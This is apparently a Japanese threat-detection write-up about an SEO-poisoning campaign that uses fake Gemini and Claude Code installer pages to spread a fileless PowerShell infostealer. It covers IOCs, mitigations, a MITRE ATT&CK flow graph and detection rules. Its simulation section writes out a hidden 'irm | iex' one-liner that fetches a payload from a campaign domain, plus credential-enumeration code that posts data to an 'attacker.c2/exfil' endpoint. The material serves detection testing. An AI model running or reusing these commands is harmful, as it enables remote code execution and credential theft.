SEOポイズニングキャンペーンがGeminiおよびClaudeコードルアーを使用して情報窃取ツールを配布
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
財政的動機を持つeCrimeのアクターは、SEO毒素化を使用して、AIコーディングアシスタントのインストーラーを模倣する偽ドメインを押し出しています。これらのページから単一のPowerShellコマンドをコピーして貼り付ける被害者は、完全にメモリ内で実行されるファイルレスのインフォスティーラーをトリガーします。このマルウェアは、資格情報、セッションクッキー、VPNキー、機密ファイルを盗み、コマンド&コントロールサーバーに暗号化された形式でデータを流出させる前に、それを転送します。このキャンペーンは、Windows開発者のワークステーションを対象にしており、よく知られた開発者ツールを濫用して通常の活動に溶け込んでいます。
調査
EclecticIQのアナリストは、悪意のあるインフラストラクチャを .co.com を通じてPowerShellダウンロード文字列を提供するドメインとして追跡しました。 irm and iex最初のステージのスクリプトは隠れたPowerShellウィンドウを使用して起動し、 Shell.Application.ShellExecuteを使用し、その後、C#の追加タイプを読み込み、資格情報、システムの詳細、その他の貴重なデータを収集します。流出はHTTP及びHTTPS経由で events.msft23.com and events.ms709.com へ特定のURLパスを使用して観察されました。受動的DNS解析により、この操作はオランダの弾薬無効ホスティングプロバイダーとタイプスクワットドメインの広範なクラスタに関連付けられました。
緩和策
ディフェンダーは、 irm | iex の実行パターン、隠れたPowerShellウィンドウ、疑わしい Add-Type の使用をP/Invokeコールを含むものを検出し、ブロックする必要があります。組織は、PowerShell制約言語モードを施行し、ApplockerまたはWDACを使用して、インターネット由来のコンテンツからのスクリプト実行を防止する必要があります。ブラウザのクリップボード書き込みアクセスを制限し、開発者アカウントの短命OAuthトークンの施行を強化することで、更なる露出の削減が可能です。開発者はまた、不信なウェブサイトからのコマンドのコピー&ペーストを避けるよう訓練されるべきです。
対応
セキュリティチームは、 -WindowStyle Hidden で起動されたPowerShellプロセスのアラートを発信する必要があります。また、 Shell.Application.ShellExecuteを通じて呼び出された場合においてもこれを行います。これらのイベントは、次にマッチするドメインへのアウトバウンドHTTP要求と関連付けられるべきです: *-setup.com or events.*.comのドメイン、特に以下のパスが現れる場合に注意して下さい /take, /process、または /validate です。この行動が検出された場合には、影響を受けたエンドポイントを隔離し、PowerShellログを収集し、ブラウザデータ及び資格情報ストアのフォレンジック収集を実施します。
graph TB %% クラス定義 classDef action fill:#99ccff classDef tool fill:#ffdd99 classDef malware fill:#ff9999 classDef process fill:#ccffcc classDef operator fill:#ff9900 %% ノード – アクション initial_access[“<b>アクション</b> – <b>T1189 ドライブバイ侵害</b>: SEO汚染された検索結果が偽のGemini CLI / Claude Codeインストールページを配信。<br/><b>サブ技術</b> T1204.001 ユーザー実行(悪性リンク)および T1204.004 ユーザー実行(PowerShellワンライナーのコピー&ペースト)。”] class initial_access action execution[“<b>アクション</b> – <b>T1059.001 PowerShell</b>: Shell.Application.ShellExecute経由で実行されるメモリ内スクリプト、irm|iexによるリフレクティブダウンロード実行。<br/><b>難読化</b> T1027 および T1027.016 ジャンクコード.”] class execution action defense_evasion[“<b>アクション</b> – <b>T1562.001 セキュリティツール無効化</b>: amsi.dllパッチ適用、ETW無効化、qemu-ga向けサンドボックス検出。<br/><b>サブ技術</b> T1562.006 Windowsイベントトレーシング無効化.”] class defense_evasion action credential_access[“<b>アクション</b> – <b>T1555.003 Webブラウザからの認証情報</b>: ブラウザの資格情報とCookieを抽出。<br/><b>追加技術</b> T1555.004 Windows資格情報マネージャー、T1552.001 ファイル内資格情報、T1552.002 レジストリ内資格情報、T1539 Webセッションクッキー窃取、T1550.004 セッションクッキー.”] class credential_access action discovery[“<b>アクション</b> – <b>T1057 プロセス探索</b>: Restart Manager経由でプロセス列挙。<br/><b>追加技術</b> T1083 ファイル・ディレクトリ探索、T1217 ブラウザ情報探索、T1497.002 仮想化・サンドボックス回避.”] class discovery action collection[“<b>アクション</b> – <b>T1005 ローカルシステムからのデータ収集</b>: ユーザーファイル(*.txt, *.docx)およびクラウド同期ディレクトリ(T1039)を収集。”] class collection action command_and_control[“<b>アクション</b> – <b>T1071.001 Webプロトコル</b>: events.msft23.com / events.ms709.com へのHTTPSビーコン(/take, /process, /validate)。<br/><b>暗号化</b> RSA暗号化タスクリスト(T1573)およびペイロード転送(T1105 インバウンドツール転送)。”] class command_and_control action exfiltration[“<b>アクション</b> – <b>T1041 C2チャネル経由の情報流出</b>: 収集データの暗号化された外部送信。<br/><b>サブ技術</b> T1020 自動化された情報流出.”] class exfiltration action %% ノード – ツール / マルウェア tool_powershell[“<b>ツール</b> – <b>名前</b>: PowerShell<br/><b>説明</b>: メモリ内実行に使用されるWindowsスクリプトエンジン.”] class tool_powershell tool tool_shellexecute[“<b>ツール</b> – <b>名前</b>: Shell.Application.ShellExecute<br/><b>説明</b>: スクリプト実行のために非表示ウィンドウを起動.”] class tool_shellexecute tool tool_amsi_patch[“<b>ツール</b> – <b>名前</b>: AMSIパッチ<br/><b>説明</b>: スクリプト解析を回避するためにamsi.dllを改変.”] class tool_amsi_patch tool tool_etw_disable[“<b>ツール</b> – <b>名前</b>: ETW無効化<br/><b>説明</b>: 検知回避のためWindowsイベントトレーシングを無効化.”] class tool_etw_disable tool tool_credmanager[“<b>ツール</b> – <b>名前</b>: CredEnumerate API<br/><b>説明</b>: Windows資格情報マネージャーから認証情報を取得.”] class tool_credmanager tool tool_ssh_reg[“<b>ツール</b> – <b>名前</b>: レジストリ収集<br/><b>説明</b>: WinSCPおよびPuTTYの保存パスワードをレジストリから取得.”] class tool_ssh_reg tool tool_vpn[“<b>ツール</b> – <b>名前</b>: VPN設定収集ツール<br/><b>説明</b>: VPN設定ファイルを収集し再利用可能にする.”] class tool_vpn tool tool_wallet[“<b>ツール</b> – <b>名前</b>: 暗号資産ウォレット窃取ツール<br/><b>説明</b>: ウォレットファイルおよび秘密鍵を抽出.”] class tool_wallet tool %% 接続 – 攻撃フロー initial_access –>|進行| execution execution –>|使用| tool_powershell execution –>|使用| tool_shellexecute execution –>|含む| tool_amsi_patch execution –>|含む| tool_etw_disable execution –>|進行| defense_evasion defense_evasion –>|使用| tool_amsi_patch defense_evasion –>|使用| tool_etw_disable defense_evasion –>|進行| credential_access credential_access –>|使用| tool_credmanager credential_access –>|使用| tool_ssh_reg credential_access –>|使用| tool_vpn credential_access –>|使用| tool_wallet credential_access –>|進行| discovery discovery –>|進行| collection collection –>|進行| command_and_control command_and_control –>|使用| tool_powershell command_and_control –>|進行| exfiltration
攻撃の流れ
検出
Powershellによるダウンロードまたはアップロード(cmdline経由)
表示
疑わしいPowershell文字列(powershell経由)
表示
Powershellからの疑わしい.NETメソッドの呼び出し(powershell経由)
表示
IOC(HashSha256)を検出する:SEO毒素化キャンペーンはGeminiおよびClaude Codeのなりすましを利用してインフォスティーラーを配布します パート2
表示
IOC(HashSha256)を検出する:SEO毒素化キャンペーンはGeminiおよびClaude Codeのなりすましを利用してインフォスティーラーを配布します パート1
表示
IOC(SourceIP)を検出する:SEO毒素化キャンペーンはGeminiおよびClaude Codeのなりすましを利用してインフォスティーラーを配布します
表示
IOC(DestinationIP)を検出する:SEO毒素化キャンペーンはGeminiおよびClaude Codeのなりすましを利用してインフォスティーラーを配布します
表示
特定のURIパスによるC2ビーコンパターンの検出 [Windowsネットワーク接続]
表示
ファイルレスPowerShellインフォスティーラー実行 [Windows Powershell]
表示
シミュレーション実行
前提条件:テレメトリ&ベースラインの事前チェックに合格していること。
理由:このセクションでは、検出ルールをトリガーするために設計された敵の手法(TTP)の正確な実行について詳述します。コマンドと説明は、特定されたTTPに直接反映され、検出ロジックによって期待される正確なテレメトリを生成することを目的としています。抽象的または無関係な例は誤診を引き起こします。
-
攻撃の説明&コマンド:
攻撃者は低特権のユーザーアカウントを乗っ取り、cmd.exe経由でPowerShellのワンライナーを実行します。ワンライナーはirm(Invoke-RestMethod)を使用してevents.msft23.comから悪質なPowerShellスクリプトをフェッチし、それをiex(Invoke-Expression)にパイプしてペイロードを完全にメモリ内で実行し、PowerShellウィンドウを隠して肩越しの覗きを避けます。ペイロードはその後、.NETタイプをAdd-Typeで読み込み、CredEnumerateAPIを使用して資格情報の列挙を実行し、収集したデータをHTTPS経由で流出させます。すべての手順は、ディスクにファイルを書き込まずに実行され、「ファイルレス」という説明に合致します。# ステップ1 – 隠されたPowerShellの起動 powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"ダウンロードした
payload.ps1(メモリ内で実行)には以下が含まれます:# ステップ2 – 資格情報列挙用.NETタイプの読み込み $type = @" using System; using System.Runtime.InteropServices; public class Cred { [DllImport(""advapi32.dll"", SetLastError=true)] public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials); } "@ Add-Type $type # ステップ3 – 資格情報のダンプと流出 $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr) $data = "収集した資格情報の数は$countです" Invoke-RestMethod -Method Post -Uri https://attacker.c2/exfil -Body $dataこのシーケンスはSigmaルールが一致するコマンドラインフラグメントを生成します:
powershell.exe -WindowStyle Hiddenirm events.msft23.com | iexAdd-Typeadvapi32.dll!CredEnumerate
-
回帰テストスクリプト: 以下のスクリプトはテストワークステーションでの正確な動作を再現します。管理者権限でPowerShellプロンプトから実行してください。
# ファイルレスPowerShellインフォスティーラーシミュレーション – TC-20260525-A7Z3K # ------------------------------------------------------------ # ステップ1 – ペイロードをダウンロード&実行する隠れたPowerShellを実行 $command = 'powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"' Start-Process -FilePath "cmd.exe" -ArgumentList "/c $command" -WindowStyle Hidden # 模擬payload.ps1コンテンツ(安全なテスト用にローカルホスト) $payload = @' $type = @" using System; using System.Runtime.InteropServices; public class Cred { [DllImport("advapi32.dll", SetLastError=true)] public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials); } "@ Add-Type $type $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr) $data = "収集した資格情報の数は$countです" # 無害なエンドポイントへの流出をシミュレート Invoke-RestMethod -Method Post -Uri "https://httpbin.org/post" -Body $data '@ # テスト用に模擬ペイロードを一時的な場所に書き込み(リモートホスティングを模倣) $tempPath = "$env:TEMPpayload.ps1" Set-Content -Path $tempPath -Value $payload -Encoding UTF8 # デモ用シンプルなローカルHTTPリスナーを介してペイロードを提供 $listener = [System.Net.HttpListener]::new() $listener.Prefixes.Add("http://+:8080/") $listener.Start() Write-Host "模擬ペイロードをhttp://localhost:8080/payload.ps1で配信中" while ($listener.IsListening) { $context = $listener.GetContext() if ($context.Request.Url.AbsolutePath -eq "/payload.ps1") { $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload) $context.Response.ContentLength64 = $bytes.Length $context.Response.OutputStream.Write($bytes,0,$bytes.Length) $context.Response.Close() } } # 注:検証後にリスナーを手動で停止してください。 -
クリーンアップコマンド: 一時ファイルを削除し、HTTPリスナーを停止します。
# シミュレーション後のクリーンアップ Remove-Item -Path "$env:TEMPpayload.ps1" -ErrorAction SilentlyContinue # ローカルHTTPリスナーを停止(まだ稼働中の場合) Get-Process -Name "powershell" | Where-Object {$_.MainWindowTitle -match "payload"} | Stop-Process -Force